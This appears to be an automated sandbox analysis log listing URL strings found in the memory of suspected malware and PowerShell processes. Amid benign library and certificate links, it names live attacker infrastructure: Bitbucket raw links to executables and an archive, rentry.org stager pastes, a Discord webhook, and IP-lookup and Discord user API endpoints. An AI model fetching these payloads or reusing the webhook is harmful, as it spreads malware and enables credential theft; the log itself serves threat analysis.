Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869C9000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869C9000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000006.00000002.1366839863.0000018B60CE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rentry.org
Source: powershell.exe, 00000003.00000002.1500962112.000001D458528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1500962112.000001D458301000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1366839863.0000018B5F491000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B8DF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1500962112.000001D458528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000006.00000002.1366839863.0000018B60B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000006.00000002.1366839863.0000018B60CE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491053063.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1483659112.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1493142728.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1477767217.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476660244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1486647943.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1495572319.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000000E.00000003.1488844355.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848986032.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1853576082.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000002.3773423449.00000156D219C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1855913817.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1849130676.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: mgne4i3n.t1d2.exe, 0000001F.00000003.1635112128.0000019C71BA3000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3782652966.0000019C71BA7000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1637123662.0000019C71BB1000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1984833829.00000276FE774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3805594021.00007FFB0B4C8000.00000008.00000001.01000000.0000001B.sdmp, clppth.exe, 00000026.00000003.1973533379.00000156D218F000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.2060011719.000002C498ACE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: powershell.exe, 00000003.00000002.1500962112.000001D458301000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1366839863.0000018B5F491000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B8DD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B8DBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000285A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: powershell.exe, 00000003.00000002.1500962112.000001D4594DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D45937A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B928E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 0000001E.00000002.2116052383.00000190B7030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar
Source: powershell.exe, 00000003.00000002.1500962112.000001D45937A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/goodfuture91/goodfuture511/raw/691a0c82f5c7b1d896caabdcdeb16ee9a65a596d/PAN.ex
Source: powershell.exe, 00000003.00000002.1500962112.000001D45937A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/goodfuture91/goodfuture511/raw/691a0c82f5c7b1d896caabdcdeb16ee9a65a596d/Window
Source: powershell.exe, 00000003.00000002.1500962112.000001D45937A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/goodfuture91/goodfuture511/raw/984b882302ec52a90ac71aa3b8aecff3900592a4/P.exe
Source: powershell.exe, 0000001E.00000002.2120942221.00000190B9224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/goodfutureX
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000006.00000002.1383368560.0000018B6F506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1383368560.0000018B6F506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1383368560.0000018B6F506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1497421294.000002C8869BE000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1857780070.00000156D218E000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1951262898.000002C498ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Connection
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.0000000002958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3781786727.0000019C71A28000.00000004.00001000.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3782652966.0000019C71C46000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3790153059.00000276FF17C000.00000004.00001000.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3786213704.00000276FED4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1271628910563688513/iSNor1MhL11el5i9poMvSd3l-pO6Mm7YcVe7rrm7Jtdksty
Source: mgne4i3n.t1d2.exe, 0000001F.00000003.1637003082.0000019C715F0000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1636121926.0000019C715F0000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3780249098.0000019C715F0000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1984833829.00000276FE774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: mgne4i3n.t1d2.exe, 0000001F.00000003.1630490213.0000019C71266000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3778402873.0000019C7119C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: powershell.exe, 00000003.00000002.1500962112.000001D45949D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: svchost.exe, 00000023.00000003.1651367816.000001B218D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000023.00000003.1651367816.000001B218D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3781370507.0000019C71780000.00000004.00001000.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3779932221.0000019C71480000.00000004.00001000.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3782652966.0000019C71C46000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3786213704.00000276FED4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/3022-2
Source: powershell.exe, 00000006.00000002.1366839863.0000018B60CE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3779391365.0000019C71240000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1627630789.0000019C71270000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1630490213.0000019C71270000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1978563759.00000276FE3BB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1976993998.00000276FE3BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3778402873.0000019C71120000.00000004.00001000.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3781902079.00000276FE290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: clppth.exe, 0000002A.00000003.1976993998.00000276FE3BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3779391365.0000019C71240000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1627630789.0000019C71270000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1630490213.0000019C71270000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1978563759.00000276FE3BB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1976993998.00000276FE3BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3779391365.0000019C71240000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1627630789.0000019C71270000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1630490213.0000019C71270000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1978563759.00000276FE3BB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1976993998.00000276FE3BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: powershell.exe, 00000006.00000002.1366839863.0000018B600C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B928E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: clppth.exe, 0000002A.00000002.3786213704.00000276FED4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3789777604.0000019C72BF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://linuxreviews.org/HOWTO_change_the_mouse_speed_
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3782652966.0000019C71BA2000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3780249098.0000019C716CF000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3779781800.000002768020B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://linuxreviews.org/HOWTO_change_the_mouse_speed_in_X
Source: powershell.exe, 00000003.00000002.1643088733.000001D468375000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1366839863.0000018B60D6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1383368560.0000018B6F649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1383368560.0000018B6F506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.1366839863.0000018B60B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000006.00000002.1366839863.0000018B60B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3781370507.0000019C71780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3799490703.00007FFB029C2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: powershell.exe, 00000003.00000002.1500962112.000001D459067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org
Source: powershell.exe, 00000003.00000002.1500962112.000001D458F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/pancek61
Source: powershell.exe, 00000003.00000002.1500962112.000001D458DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/pancek6111111
Source: powershell.exe, 00000003.00000002.1500962112.000001D458F5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D458528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rentry.org/pancek61111111111111/raw
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3780249098.0000019C71736000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.apple.com/en-us/HT20P
Source: mgne4i3n.t1d2.exe, 0000001F.00000003.1637003082.0000019C71620000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3780249098.0000019C715F0000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000003.1635575570.0000019C71619000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000003.1984833829.00000276FE774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: mgne4i3n.t1d2.exe, 0000001F.00000003.1635575570.0000019C71619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/htmu_
Source: powershell.exe, 00000003.00000002.1500962112.000001D459440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D459355000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1500962112.000001D4594B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B9821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2120942221.00000190B97FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: mgne4i3n.t1d2.exe, 0000000E.00000003.1491267047.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3807174492.00007FFB0B5AF000.00000002.00000001.01000000.00000017.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3798203714.00007FFB025BA000.00000002.00000001.01000000.00000016.sdmp, clppth.exe, 00000026.00000003.1851908535.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1945052701.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3801436155.00007FFB02B38000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: mgne4i3n.t1d2.exe, 0000001F.00000002.3799490703.00007FFB029C2000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.python.org/psf/license/)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
